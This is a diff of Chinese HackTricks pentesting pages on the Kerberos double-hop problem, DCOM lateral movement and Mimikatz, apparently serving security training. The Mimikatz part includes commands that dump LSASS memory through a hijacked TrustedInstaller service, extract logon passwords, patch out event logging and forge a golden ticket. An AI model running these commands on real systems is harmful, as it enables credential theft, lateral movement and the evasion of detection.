<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗?您想看到您的**公司在HackTricks中做广告**吗?或者您想访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) 或 **电报群** 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
## 简介
|
|
||||||
|
|
||||||
当攻击者尝试在两个**跳跃**之间使用**Kerberos身份验证**时,就会出现Kerberos“双跳”问题,例如使用**PowerShell**/**WinRM**。
|
## Introduction
|
||||||
|
|
||||||
当通过**Kerberos**进行**身份验证**时,**凭据**不会被缓存在**内存**中。因此,即使用户正在运行进程,您也**找不到用户的凭据**。
|
Kerberos "双跳" 问题出现在攻击者试图在两个跳之间使用 **Kerberos 认证** 时,例如使用 **PowerShell**/**WinRM**。
|
||||||
|
|
||||||
这是因为使用Kerberos连接时会执行以下步骤:
|
当通过 **Kerberos** 进行 **认证** 时,**凭据** **不会** 被缓存到 **内存** 中。因此,即使用户正在运行进程,运行 mimikatz 时也 **找不到用户的凭据**。
|
||||||
|
|
||||||
1. User1提供凭据,**域控制器**返回一个Kerberos **TGT**给User1。
|
这是因为连接 Kerberos 时的步骤如下:
|
||||||
2. User1使用**TGT**请求一个**服务票证**以连接到Server1。
|
|
||||||
3. User1连接到Server1并提供**服务票证**。
|
|
||||||
4. **Server1**没有缓存User1的凭据或User1的**TGT**。因此,当来自Server1的User1尝试登录到第二个服务器时,他**无法进行身份验证**。
|
|
||||||
|
|
||||||
### 无限制委派
|
1. User1 提供凭据,**域控制器** 返回一个 Kerberos **TGT** 给 User1。
|
||||||
|
2. User1 使用 **TGT** 请求一个 **服务票据** 以 **连接** 到 Server1。
|
||||||
|
3. User1 **连接** 到 **Server1** 并提供 **服务票据**。
|
||||||
|
4. **Server1** **没有** 缓存 User1 的 **凭据** 或 User1 的 **TGT**。因此,当 User1 从 Server1 尝试登录到第二台服务器时,他 **无法进行认证**。
|
||||||
|
|
||||||
如果PC上启用了**无限制委派**,则**服务器**将获得访问它的每个用户的**TGT**,这样就可以**妥协域控制器**。\
|
### Unconstrained Delegation
|
||||||
[**在无限制委派页面了解更多信息**](unconstrained-delegation.md)。
|
|
||||||
|
如果在 PC 上启用了 **不受限制的委派**,则不会发生这种情况,因为 **服务器** 将 **获取** 每个访问它的用户的 **TGT**。此外,如果使用不受限制的委派,您可能可以 **从中妥协域控制器**。\
|
||||||
|
[**在不受限制的委派页面中获取更多信息**](unconstrained-delegation.md)。
|
||||||
|
|
||||||
### CredSSP
|
### CredSSP
|
||||||
|
|
||||||
另一种避免此问题的方式是[**明显不安全的**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7)**凭据安全支持提供程序**。来自Microsoft的说法:
|
另一种避免此问题的方法是 [**显著不安全**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7) 的 **凭据安全支持提供程序**。来自微软的说明:
|
||||||
|
|
||||||
> CredSSP身份验证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机受到损害,当凭据传递给它时,这些凭据可以用于控制网络会话。
|
> CredSSP 认证将用户凭据从本地计算机委派到远程计算机。这种做法增加了远程操作的安全风险。如果远程计算机被妥协,当凭据被传递给它时,这些凭据可以用于控制网络会话。
|
||||||
|
|
||||||
强烈建议在生产系统、敏感网络和类似环境中禁用**CredSSP**,因为存在安全风险。要确定**CredSSP**是否已启用,可以运行`Get-WSManCredSSP`命令。此命令允许**检查CredSSP状态**,甚至可以在启用**WinRM**的情况下远程执行。
|
由于安全问题,强烈建议在生产系统、敏感网络和类似环境中禁用 **CredSSP**。要确定 **CredSSP** 是否启用,可以运行 `Get-WSManCredSSP` 命令。此命令允许 **检查 CredSSP 状态**,并且可以在启用 **WinRM** 的情况下远程执行。
|
||||||
```powershell
|
```powershell
|
||||||
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
Invoke-Command -ComputerName bizintel -Credential ta\redsuit -ScriptBlock {
|
||||||
Get-WSManCredSSP
|
Get-WSManCredSSP
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
## 解决方法
|
## Workarounds
|
||||||
|
|
||||||
### 调用命令
|
### Invoke Command
|
||||||
|
|
||||||
为了解决双跳问题,提出了一种涉及嵌套`Invoke-Command`的方法。这并不能直接解决问题,但提供了一种无需特殊配置的解决方法。该方法允许通过从初始攻击机器执行的PowerShell命令或通过与第一台服务器先前建立的PS-Session,在第二台服务器上执行一个命令(`hostname`)。以下是操作步骤:
|
为了解决双跳问题,提出了一种涉及嵌套 `Invoke-Command` 的方法。这并不能直接解决问题,但提供了一种无需特殊配置的变通方法。该方法允许通过从初始攻击机器执行的 PowerShell 命令或通过与第一台服务器之前建立的 PS-Session,在第二台服务器上执行命令(`hostname`)。以下是具体操作步骤:
|
||||||
```powershell
|
```powershell
|
||||||
$cred = Get-Credential ta\redsuit
|
$cred = Get-Credential ta\redsuit
|
||||||
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock {
|
||||||
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
Invoke-Command -ComputerName secdev -Credential $cred -ScriptBlock {hostname}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
或者,建议与第一个服务器建立 PS-Session,并使用 `$cred` 运行 `Invoke-Command` 来集中任务。
|
||||||
|
|
||||||
### 注册 PSSession 配置
|
### 注册 PSSession 配置
|
||||||
|
|
||||||
绕过双跳问题的解决方案涉及使用 `Register-PSSessionConfiguration` 与 `Enter-PSSession`。这种方法需要与 `evil-winrm` 不同的方法,并允许创建一个不受双跳限制影响的会话。
|
绕过双跳问题的解决方案涉及使用 `Register-PSSessionConfiguration` 和 `Enter-PSSession`。这种方法需要与 `evil-winrm` 不同的方式,并允许一个不受双跳限制的会话。
|
||||||
```powershell
|
```powershell
|
||||||
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
Register-PSSessionConfiguration -Name doublehopsess -RunAsCredential domain_name\username
|
||||||
Restart-Service WinRM
|
Restart-Service WinRM
|
||||||
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
Enter-PSSession -ConfigurationName doublehopsess -ComputerName <pc_name> -Credential domain_name\username
|
||||||
klist
|
klist
|
||||||
```
|
```
|
||||||
### 端口转发
|
### PortForwarding
|
||||||
|
|
||||||
对于中间目标上的本地管理员,端口转发允许将请求发送到最终服务器。使用 `netsh`,可以添加一个端口转发规则,同时添加一个Windows防火墙规则以允许转发的端口。
|
对于中介目标上的本地管理员,端口转发允许请求发送到最终服务器。使用 `netsh`,可以添加一个端口转发规则,以及一个 Windows 防火墙规则以允许转发的端口。
|
||||||
```bash
|
```bash
|
||||||
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
netsh interface portproxy add v4tov4 listenport=5446 listenaddress=10.35.8.17 connectport=5985 connectaddress=10.35.8.23
|
||||||
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
netsh advfirewall firewall add rule name=fwd dir=in action=allow protocol=TCP localport=5446
|
||||||
```
|
```
|
||||||
#### winrs.exe
|
#### winrs.exe
|
||||||
|
|
||||||
`winrs.exe` 可用于转发 WinRM 请求,如果担心 PowerShell 监控,这可能是一个不太容易被检测到的选项。下面的命令演示了它的用法:
|
`winrs.exe` 可用于转发 WinRM 请求,如果 PowerShell 监控是一个问题,这可能是一个不太容易被检测到的选项。下面的命令演示了它的用法:
|
||||||
```bash
|
```bash
|
||||||
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
winrs -r:http://bizintel:5446 -u:ta\redsuit -p:2600leet hostname
|
||||||
```
|
```
|
||||||
### OpenSSH
|
### OpenSSH
|
||||||
|
|
||||||
在第一个服务器上安装OpenSSH可以解决双跳问题,特别适用于跳板机场景。此方法需要在Windows上进行CLI安装和设置OpenSSH。当配置为密码认证时,这允许中间服务器代表用户获取TGT。
|
在第一台服务器上安装 OpenSSH 可以为双跳问题提供解决方法,特别适用于跳板机场景。此方法需要在 Windows 上进行 CLI 安装和配置 OpenSSH。当配置为密码认证时,这允许中介服务器代表用户获取 TGT。
|
||||||
|
|
||||||
#### OpenSSH安装步骤
|
#### OpenSSH 安装步骤
|
||||||
|
|
||||||
1. 下载并将最新的OpenSSH发行版zip文件移动到目标服务器。
|
1. 下载并将最新的 OpenSSH 发布 zip 移动到目标服务器。
|
||||||
2. 解压缩并运行`Install-sshd.ps1`脚本。
|
2. 解压并运行 `Install-sshd.ps1` 脚本。
|
||||||
3. 添加防火墙规则以打开端口22,并验证SSH服务是否正在运行。
|
3. 添加防火墙规则以打开 22 端口,并验证 SSH 服务是否正在运行。
|
||||||
|
|
||||||
要解决`Connection reset`错误,可能需要更新权限以允许每个人在OpenSSH目录上具有读取和执行访问权限。
|
要解决 `Connection reset` 错误,可能需要更新权限,以允许所有人对 OpenSSH 目录的读取和执行访问。
|
||||||
```bash
|
```bash
|
||||||
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
|
||||||
```
|
```
|
||||||
## 参考资料
|
## 参考文献
|
||||||
|
|
||||||
* [理解Kerberos双跳问题](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20)
|
||||||
* [双跳攻击](https://posts.slayerlabs.com/double-hop/)
|
* [https://posts.slayerlabs.com/double-hop/](https://posts.slayerlabs.com/double-hop/)
|
||||||
* [另一种解决多跳PowerShell远程的方法](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
* [https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting](https://learn.microsoft.com/en-gb/archive/blogs/sergey\_babkins\_blog/another-solution-to-multi-hop-powershell-remoting)
|
||||||
* [不使用CredSSP解决PowerShell多跳问题](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
* [https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/](https://4sysops.com/archives/solve-the-powershell-multi-hop-problem-without-using-credssp/)
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要在**HackTricks中看到您的公司广告**? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,19 @@
|
||||||
# DCOM Exec
|
# DCOM Exec
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零到英雄学习 AWS 黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 你在一家 **网络安全公司**工作吗?你想在 HackTricks 上看到你的 **公司广告**吗?或者你想访问 **最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT**](https://opensea.io/collection/the-peass-family) 收藏
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取 [**官方 PEASS & HackTricks 周边**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 分享你的黑客技巧**..
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
**Try Hard Security Group**
|
||||||
|
|
||||||
|
@ -24,7 +27,7 @@
|
||||||
|
|
||||||
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
**有关此技术的更多信息,请查看原始帖子 [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||||
|
|
||||||
分布式组件对象模型 (DCOM) 对象为基于网络的对象交互提供了有趣的能力。微软为 DCOM 和组件对象模型 (COM) 提供了全面的文档,分别可在 [此处获取 DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [此处获取 COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)。可以使用 PowerShell 命令检索 DCOM 应用程序列表:
|
分布式组件对象模型 (DCOM) 对象为基于网络的对象交互提供了有趣的能力。微软为 DCOM 和组件对象模型 (COM) 提供了全面的文档,分别可以在 [这里查看 DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) 和 [这里查看 COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx)。可以使用 PowerShell 命令检索 DCOM 应用程序列表:
|
||||||
```bash
|
```bash
|
||||||
Get-CimInstance Win32_DCOMApplication
|
Get-CimInstance Win32_DCOMApplication
|
||||||
```
|
```
|
||||||
|
@ -56,7 +59,7 @@ ls \\10.10.10.10\c$\Users
|
||||||
|
|
||||||
**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认权限允许管理员访问。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
|
**MMC20.Application** 对象被识别为缺乏明确的 "LaunchPermissions",默认权限允许管理员访问。有关更多详细信息,可以在 [这里](https://twitter.com/tiraniddo/status/817532039771525120) 探索一个线程,并建议使用 [@tiraniddo](https://twitter.com/tiraniddo) 的 OleView .NET 来过滤没有明确启动权限的对象。
|
||||||
|
|
||||||
两个特定对象 `ShellBrowserWindow` 和 `ShellWindows` 因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
|
两个特定对象,`ShellBrowserWindow` 和 `ShellWindows`,因缺乏明确的启动权限而被强调。`HKCR:\AppID\{guid}` 下缺少 `LaunchPermission` 注册表项表示没有明确的权限。
|
||||||
|
|
||||||
### ShellWindows
|
### ShellWindows
|
||||||
对于缺乏 ProgID 的 `ShellWindows`,.NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化,可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`。
|
对于缺乏 ProgID 的 `ShellWindows`,.NET 方法 `Type.GetTypeFromCLSID` 和 `Activator.CreateInstance` 通过其 AppID 促进对象实例化。此过程利用 OleView .NET 检索 `ShellWindows` 的 CLSID。一旦实例化,可以通过 `WindowsShell.Item` 方法进行交互,从而调用方法,如 `Document.Application.ShellExecute`。
|
||||||
|
|
|
@ -1,178 +1,214 @@
|
||||||
# Mimikatz
|
# Mimikatz
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
<summary>支持 HackTricks</summary>
|
||||||
|
|
||||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者想要访问**PEASS的最新版本或下载PDF格式的HackTricks**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) **Discord群组**](https://discord.gg/hRep4RUj7f) 或**电报群组**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
|
||||||
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
**本页内容基于[adsecurity.org](https://adsecurity.org/?page\_id=1821)**。查看原始内容以获取更多信息!
|
**本页面基于 [adsecurity.org](https://adsecurity.org/?page\_id=1821) 的内容**。查看原文以获取更多信息!
|
||||||
|
|
||||||
## 内存中的LM和明文密码
|
## LM 和内存中的明文
|
||||||
|
|
||||||
从Windows 8.1和Windows Server 2012 R2开始,已经实施了重要措施来防止凭据盗窃:
|
从 Windows 8.1 和 Windows Server 2012 R2 开始,实施了重要措施以防止凭据被盗:
|
||||||
|
|
||||||
- 为了增强安全性,**LM哈希和明文密码**不再存储在内存中。必须使用特定的注册表设置,即 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_,配置DWORD值为 `0` 以禁用摘要身份验证,确保LSASS中不缓存“明文”密码。
|
- **LM 哈希和明文密码** 不再存储在内存中以增强安全性。必须将特定注册表设置 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest "UseLogonCredential"_ 配置为 DWORD 值 `0` 以禁用摘要身份验证,确保“明文”密码不会在 LSASS 中缓存。
|
||||||
|
|
||||||
- 引入**LSA保护**以保护本地安全机构(LSA)进程免受未经授权的内存读取和代码注入。通过将LSASS标记为受保护进程来实现这一点。激活LSA保护包括:
|
- **LSA 保护** 被引入以保护本地安全机构 (LSA) 进程免受未经授权的内存读取和代码注入。这是通过将 LSASS 标记为受保护进程来实现的。激活 LSA 保护涉及:
|
||||||
1. 在注册表 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_ 中设置 `RunAsPPL` 为 `dword:00000001`。
|
1. 修改注册表 _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa_,将 `RunAsPPL` 设置为 `dword:00000001`。
|
||||||
2. 实施强制执行此注册表更改的组策略对象(GPO)跨受控设备。
|
2. 实施一个强制此注册表更改的组策略对象 (GPO),以在受管理设备上执行。
|
||||||
|
|
||||||
尽管有这些保护措施,像Mimikatz这样的工具可以使用特定驱动程序规避LSA保护,尽管此类操作可能会记录在事件日志中。
|
尽管有这些保护,像 Mimikatz 这样的工具仍然可以使用特定驱动程序绕过 LSA 保护,尽管此类操作可能会被记录在事件日志中。
|
||||||
|
|
||||||
### 对抗SeDebugPrivilege的移除
|
### 反制 SeDebugPrivilege 移除
|
||||||
|
|
||||||
管理员通常具有SeDebugPrivilege,使他们能够调试程序。可以限制此特权以防止未经授权的内存转储,这是攻击者从内存中提取凭据的常见技术。然而,即使删除了此特权,TrustedInstaller账户仍然可以使用自定义服务配置执行内存转储:
|
管理员通常拥有 SeDebugPrivilege,使他们能够调试程序。可以限制此权限以防止未经授权的内存转储,这是攻击者提取内存中凭据的常用技术。然而,即使移除了此权限,TrustedInstaller 账户仍然可以使用自定义服务配置执行内存转储:
|
||||||
```bash
|
```bash
|
||||||
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
sc config TrustedInstaller binPath= "C:\\Users\\Public\\procdump64.exe -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp"
|
||||||
sc start TrustedInstaller
|
sc start TrustedInstaller
|
||||||
```
|
```
|
||||||
这允许将 `lsass.exe` 内存转储到文件中,然后可以在另一个系统上对其进行分析以提取凭据:
|
这允许将 `lsass.exe` 的内存转储到文件中,然后可以在另一个系统上进行分析以提取凭据:
|
||||||
```
|
```
|
||||||
# privilege::debug
|
# privilege::debug
|
||||||
# sekurlsa::minidump lsass.dmp
|
# sekurlsa::minidump lsass.dmp
|
||||||
# sekurlsa::logonpasswords
|
# sekurlsa::logonpasswords
|
||||||
```
|
```
|
||||||
## Mimikatz选项
|
## Mimikatz 选项
|
||||||
|
|
||||||
Mimikatz中的事件日志篡改涉及两个主要操作:清除事件日志和修补事件服务以防止记录新事件。以下是执行这些操作的命令:
|
在 Mimikatz 中,事件日志篡改涉及两个主要操作:清除事件日志和修补事件服务以防止记录新事件。以下是执行这些操作的命令:
|
||||||
|
|
||||||
#### 清除事件日志
|
#### 清除事件日志
|
||||||
|
|
||||||
- **命令**:此操作旨在删除事件日志,使跟踪恶意活动变得更加困难。
|
- **命令**:此操作旨在删除事件日志,使追踪恶意活动变得更加困难。
|
||||||
- Mimikatz在其标准文档中没有直接提供清除事件日志的命令。但是,事件日志操作通常涉及使用系统工具或脚本(例如使用PowerShell或Windows事件查看器)在Mimikatz之外清除特定日志。
|
- Mimikatz 在其标准文档中并未提供直接通过命令行清除事件日志的命令。然而,事件日志操作通常涉及使用系统工具或脚本在 Mimikatz 之外清除特定日志(例如,使用 PowerShell 或 Windows 事件查看器)。
|
||||||
|
|
||||||
#### 实验性功能:修补事件服务
|
#### 实验性功能:修补事件服务
|
||||||
|
|
||||||
- **命令**:`event::drop`
|
- **命令**:`event::drop`
|
||||||
- 这个实验性命令旨在修改事件记录服务的行为,有效地阻止其记录新事件。
|
- 此实验性命令旨在修改事件日志服务的行为,有效防止其记录新事件。
|
||||||
- 示例:`mimikatz "privilege::debug" "event::drop" exit`
|
- 示例:`mimikatz "privilege::debug" "event::drop" exit`
|
||||||
|
|
||||||
- `privilege::debug`命令确保Mimikatz具有修改系统服务所需的特权。
|
- `privilege::debug` 命令确保 Mimikatz 以必要的权限操作以修改系统服务。
|
||||||
- `event::drop`命令然后修补事件记录服务。
|
- `event::drop` 命令随后修补事件日志服务。
|
||||||
```bash
|
|
||||||
mimikatz "kerberos::golden /user:admin /domain:example.com /sid:S-1-5-21-123456789-123456789-123456789 /krbtgt:ntlmhash /ptt" exit
|
|
||||||
```
|
|
||||||
### 创建银票
|
|
||||||
|
|
||||||
银票授予对特定服务的访问权限。关键命令和参数:
|
### Kerberos 票证攻击
|
||||||
|
|
||||||
- 命令:类似于黄金票据,但针对特定服务。
|
### 黄金票证创建
|
||||||
|
|
||||||
|
